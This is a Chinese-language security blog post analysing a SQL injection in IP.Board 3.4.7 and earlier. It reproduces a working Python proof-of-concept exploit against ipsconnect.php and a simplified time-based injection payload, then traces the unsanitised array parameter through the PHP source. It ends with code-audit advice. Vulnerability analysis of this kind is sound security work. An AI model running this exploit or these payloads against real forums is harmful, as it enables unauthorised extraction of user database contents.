IP.Board <= 3.4.7 SQL Injection 分析

 

 

IP.Board <= 3.4.7 SQL Injection http://seclists.org/fulldisclosure/2014/Nov/20

#!/usr/bin/env python

# Sunday, November 09, 2014 - secthrowaway () safe-mail net

# IP.Board <= 3.4.7 SQLi (blind, error based);

# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

 

url = 'http://ipb /'

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

 

import sys, re

import urllib2, urllib

 

def inject(sql):

                try:

                                urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))

                except urllib2.HTTPError, e:

                                if e.code == 503:

                                                data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()

                                                txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)

                                                if txt is not None:

                                                                return txt.group(1)

                                                sys.exit('Error [3], received unexpected data:\n%s' % data)

                                sys.exit('Error [1]')

                sys.exit('Error [2]')

 

n = inject('SELECT COUNT(*) FROM members')

 

 

运行一下,查看/cache/sql_error_latest.cgi, 可以看到mysql报错了,

mySQL query error: SELECT m.*, m.member_id as my_member_id,ccb.cache_content FROM members m  LEFT JOIN content_cache_sigs ccb ON ( ccb.cache_content_id=m.member_id )   WHERE m.member_id IN (-1,-1)  and extractvalue(1,concat(0x3a,(user())))#)

说明注入是成功了,但是访问这个cgi404,所以作者也表示可以利用盲注来测试。

简化poc

[post]

http://ipb/interface/ipsconnect/ipsconnect.php

act=login&idType=id&id[]=-1&id[]=-1) or sleep(10)#

 

查看/interface/ipsconnect/ipsconnect.php

$params = array();

foreach ( $map[ $_REQUEST['act'] ] as $k )

{

                $params[ $k ] = $_REQUEST[ $k ];

}

可以看到这里使用了$_REQUEST

可以看到$params

array(6) { ["idType"]=> string(2) "id" ["id"]=> array(2) { [0]=> string(2) "-1" [1]=> string(17) "-1) or sleep(10)#" } ["password"]=> NULL ["key"]=> NULL ["redirect"]=> NULL ["redirectHash"]=> NULL }

然后调用ipsConnect login函数,参数名

'login'                     => array( 'idType', 'id', 'password', 'key', 'redirect', 'redirectHash' ),

 

public function login( $identifier, $identifierValue, $md5Password, $key, $redirect, $redirectHash )

$identifierid,调用IPSMember::load

                if ( in_array( $identifier, array( 'id', 'email', 'username' ) ) )

                                {

                                                $member = IPSMember::load( $identifierValue, 'none', $identifier );

这里$identifierValueArray, $identifierid

/admin/sources/base/ipsMember.php

static public function load( $member_key, $extra_tables='all', $key_type='' )

 

case 'id':

                                                                                if ( is_array( $member_key ) )

                                                                                {

                                                                                                $multiple_ids = $member_key;//为数组,没有类型转换

                                                                                }

                                                                                else

                                                                                {

                                                                                                $member_value = intval( $member_key );

                                                                                }

                                                                                $member_field = 'member_id';

 

$multiple_idsArray了,

$joins

array(1) { [0]=> array(4) { ["select"]=> string(17) "ccb.cache_content" ["from"]=> array(1) { ["content_cache_sigs"]=> string(3) "ccb" } ["where"]=> string(32) "ccb.cache_content_id=m.member_id" ["type"]=> string(4) "left" } }

 

if ( count( $joins ) )

                                {

                                                ipsRegistry::DB()->build( array( 'select'   => 'm.*, m.member_id as my_member_id',

                                                                                                                                                                                 'from'     => array( 'members' => 'm' ),

                                                                                                                                                                                 'where'    => ( is_array( $multiple_ids ) AND count( $multiple_ids ) ) ?  'm.'. $member_field . ' IN (' . implode( ',', $multiple_ids ) . ')' : 'm.'. $member_field . '=' . $member_value,

                                                                                                                                                                                 'add_join' => $joins ) );

                                }

                                else

                                {

                                                ipsRegistry::DB()->build( array( 'select'   => '*',

                                                                                                                                                                                 'from'     => 'members',

                                                                                                                                                                                 'where'    => ( is_array( $multiple_ids ) AND count( $multiple_ids ) ) ?  $member_field . ' IN (' . implode( ',', $multiple_ids ) . ')' : $member_field . '=' . $member_value ) );

                                }

 

                                ipsRegistry::DB()->execute();

 

$multiple_ids为数组,最终拼接到where语句中

array(4) {

  ["select"]=>

  string(32) "m.*, m.member_id as my_member_id"

  ["from"]=>

  array(1) {

    ["members"]=>

    string(1) "m"

  }

  ["where"]=>

  string(37) "m.member_id IN (-1,-1) or sleep(10)#)"

  ["add_join"]=>

  array(1) {

    [0]=>

    array(4) {

      ["select"]=>

      string(17) "ccb.cache_content"

      ["from"]=>

      array(1) {

        ["content_cache_sigs"]=>

        string(3) "ccb"

      }

      ["where"]=>

      string(32) "ccb.cache_content_id=m.member_id"

      ["type"]=>

      string(4) "left"

    }

  }

}

最终成功执行,延时10s

可以看到$key_typeid, fb_uid,twitter_id时,$member_key为数字时,$multiple_ids = $member_key;都是没有过滤的,又由于ipsconnect.phpif ( in_array( $identifier, array( 'id', 'email', 'username' ) ) ),这里也不能利用,其他地方暂时没有找到,不过也是潜在的风险点。

问题的部分原因是这里对于数组没有过滤。其他程序中也有类似的不过滤数组,或是不过滤$key这种情况的。审计代码时,对数组的情况需要多加注意。

感谢poc的提供者.Happy Reading. Happy Hunting.